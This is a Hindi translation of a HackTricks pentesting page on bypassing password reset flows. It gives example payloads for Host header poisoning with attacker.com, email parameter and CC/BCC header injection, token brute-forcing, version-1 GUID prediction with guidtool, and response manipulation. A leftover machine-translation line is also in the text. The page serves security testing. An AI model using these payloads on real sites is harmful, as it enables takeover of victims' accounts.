hacktricks/pentesting-web/reset-password.md

22 KiB

पासवर्ड रीसेट/भूल गए पासवर्ड बायपास

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इनसाइट्स
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें

रियल-टाइम हैक न्यूज
रियल-टाइम न्यूज और इनसाइट्स के माध्यम से हैकिंग की तेजी से बदलती दुनिया के साथ अपडेट रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटीज लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

निम्नलिखित तकनीकों का संकलन https://anugrahsr.github.io/posts/10-Password-reset-flaws/ से लिया गया था

पासवर्ड रीसेट टोकन रेफरर के माध्यम से लीक

HTTP रेफरर एक वैकल्पिक HTTP हेडर फील्ड है जो उस वेबपेज के पते की पहचान करता है जो अनुरोधित संसाधन से जुड़ा हुआ है। रेफरर अनुरोध हेडर में उस पिछले वेब पेज का पता होता है जिससे वर्तमान अनुरोधित पेज के लिए लिंक का अनुसरण किया गया था

शोषण

  • अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
  • पासवर्ड रीसेट लिंक पर क्लिक करें
  • पासवर्ड न बदलें
  • किसी भी तृतीय पक्ष वेबसाइट्स (जैसे: Facebook, Twitter) पर क्लिक करें
  • Burpsuite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
  • जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।

प्रभाव

यह उस व्यक्ति को जो किसी विशेष साइट का नियंत्रण रखता है, उपयोगकर्ता का पासवर्ड बदलने की अनुमति देता है (CSRF हमला), क्योंकि इस व्यक्ति को उपयोगकर्ता के रीसेट पासवर्ड टोकन का पता होता है।

संदर्भ:

पासवर्ड रीसेट पॉइजनिंग

यदि आपको होस्ट हेडर हमला मिलता है और वह स्कोप से बाहर है, तो पासवर्ड रीसेट बटन की तलाश करें!

शोषण

  • Burpsuite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
  • निम्नलिखित हेडर जोड़ें या burpsuite में हेडर को संपादित करें (एक-एक करके प्रयास करें)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • जांचें कि क्या ईमेल के अंदर पासवर्ड बदलने के लिए लिंक attacker.com की ओर इशारा कर रहा है

पैच

$_SERVER['SERVER_NAME'] का उपयोग करें $_SERVER['HTTP_HOST'] के बजाय

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

प्रभाव

पीड़ित को उनके ईमेल में दुर्भावनापूर्ण लिंक प्राप्त होगा, और, जब क्लिक किया जाएगा, तो यह हमलावर को उपयोगकर्ता के पासवर्ड रीसेट लिंक / टोकन को लीक कर देगा, जिससे पूर्ण खाता अधिग्रहण हो सकता है।

संदर्भ:

ईमेल पैरामीटर को मैनिपुलेट करके पासवर्ड रीसेट

शोषण

  • & का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • हमलावर का ईमेल %20 का उपयोग करते हुए दूसरे पैरामीटर के रूप में जोड़ें
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • हमलावर का ईमेल दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • हमलावर का ईमेल दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • हमलावर का ईमेल bcc का उपयोग करते हुए दूसरे पैरामीटर के रूप में जोड़ें
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • हमलावर का ईमेल दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • जेसन ऐरे में दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

संदर्भ

API पैरामीटर्स के माध्यम से किसी भी उपयोगकर्ता का ईमेल और पासवर्ड बदलना

शोषण

  • हमलावर को अपने खाते से लॉगिन करना होगा और पासवर्ड बदलने के फंक्शन पर जाना होगा
  • Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें
  • अनुरोध को इंटरसेप्ट करने के बाद इसे रिपीटर में भेजें और ईमेल और पासवर्ड पैरामीटर्स में संशोधन करें
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

संदर्भ

दर नियंत्रण की कमी: ईमेल बमबारी

शोषण

  • Burp Suite शुरू करें और पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
  • इंट्रूडर को भेजें
  • नल पेलोड का उपयोग करें

संदर्भ

पासवर्ड रीसेट टोकन कैसे उत्पन्न होता है यह जानें

पासवर्ड रीसेट टोकन के पैटर्न को समझें

यदि यह

  • Timestamp के आधार पर उत्पन्न होता है
  • UserID के आधार पर उत्पन्न होता है
  • उपयोगकर्ता के ईमेल के आधार पर उत्पन्न होता है
  • Firstname और Lastname के आधार पर उत्पन्न होता है
  • जन्म तिथि के आधार पर उत्पन्न होता है
  • Cryptography के आधार पर उत्पन्न होता है

Burp Sequencer का उपयोग करके टोकन्स की यादृच्छिकता या अनुमानितता का पता लगाएं।

अनुमान लगाने योग्य GUID

GUID के विभिन्न प्रकार होते हैं:

  • संस्करण 0: केवल nil GUID ("00000000-0000-0000-0000-000000000000") में देखा गया।
  • संस्करण 1: GUID निम्नलिखित के आधार पर अनुमानित तरीके से उत्पन्न होता है:
    • वर्तमान समय
    • एक यादृच्छिक रूप से उत्पन्न "क्लॉक सीक्वेंस" जो GUIDs के उत्पादन के दौरान सिस्टम के अपटाइम के बीच स्थिर रहता है
    • एक "नोड ID", जो सिस्टम के MAC पते के आधार पर उत्पन्न होती है यदि यह उपलब्ध है
  • संस्करण 3: GUID एक प्रदान किए गए नाम और नामस्थान के MD5 हैश का उपयोग करके उत्पन्न होता है।
  • संस्करण 4: GUID यादृच्छिक रूप से उत्पन्न होता है।
  • संस्करण 5: GUID एक प्रदान किए गए नाम और नामस्थान के SHA1 हैश का उपयोग करके उत्पन्न होता है।

GUID के संस्करण को जानने के लिए एक छोटा उपकरण है: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

यदि पासवर्ड रीसेट GUID जेनरेट करने के लिए प्रयुक्त संस्करण 1 है, तो GUIDS को ब्रूटफोर्स करना संभव है:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

संदर्भ

प्रतिक्रिया हेरफेर: खराब प्रतिक्रिया को अच्छे के साथ बदलें

इस तरह के Request और Response की तलाश करें

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Sure, here is the translation for the title "Change Response" in Hindi:

प्रतिक्रिया बदलें
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

संदर्भ

समाप्त हो चुके टोकन का उपयोग

  • जांचें कि क्या समाप्त हो चुके टोकन का पुन: उपयोग किया जा सकता है

ब्रूट फोर्स पासवर्ड रीसेट टोकन

Burpsuite का उपयोग करके रीसेट टोकन को ब्रूटफोर्स करने का प्रयास करें

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$

संदर्भ

अपना टोकन इस्तेमाल करके देखें

  • पीड़ित के खाते के साथ अपना पासवर्ड रीसेट टोकन जोड़ने का प्रयास करें
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

संदर्भ

सत्र अमान्यीकरण लॉगआउट/पासवर्ड रीसेट में

जब एक उपयोगकर्ता लॉग आउट करता है या अपना पासवर्ड रीसेट करता है, वर्तमान सत्र को अमान्य कर देना चाहिए।
इसलिए, उपयोगकर्ता के लॉग इन होने पर कुकीज़ प्राप्त करें, लॉग आउट करें, और जांचें कि क्या कुकीज़ अभी भी मान्य हैं।
लॉग आउट करने के बजाय पासवर्ड बदलने की प्रक्रिया दोहराएं।

रीसेट टोकन समाप्ति समय

रीसेट टोकन का एक समाप्ति समय होना चाहिए, उसके बाद टोकन को उपयोगकर्ता का पासवर्ड बदलने के लिए मान्य नहीं होना चाहिए।

अतिरिक्त जांच

  • username@burp_collab.net का उपयोग करें और कॉलबैक का विश्लेषण करें
  • उपयोगकर्ता कार्बन कॉपी ईमेल=victim@mail.com%0a%0dcc:hacker@mail.com
  • लंबा पासवर्ड (>200) DoS का कारण बनता है
  • दूसरे ईमेल पैरामीटर और मूल्य जोड़ें

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग अंतर्दृष्टि
हैकिंग के रोमांच और चुनौतियों पर गहराई से विचार करने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक समाचार
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेजी से बदलते हैकिंग विश्व के साथ अद्यतन रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटीज के लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: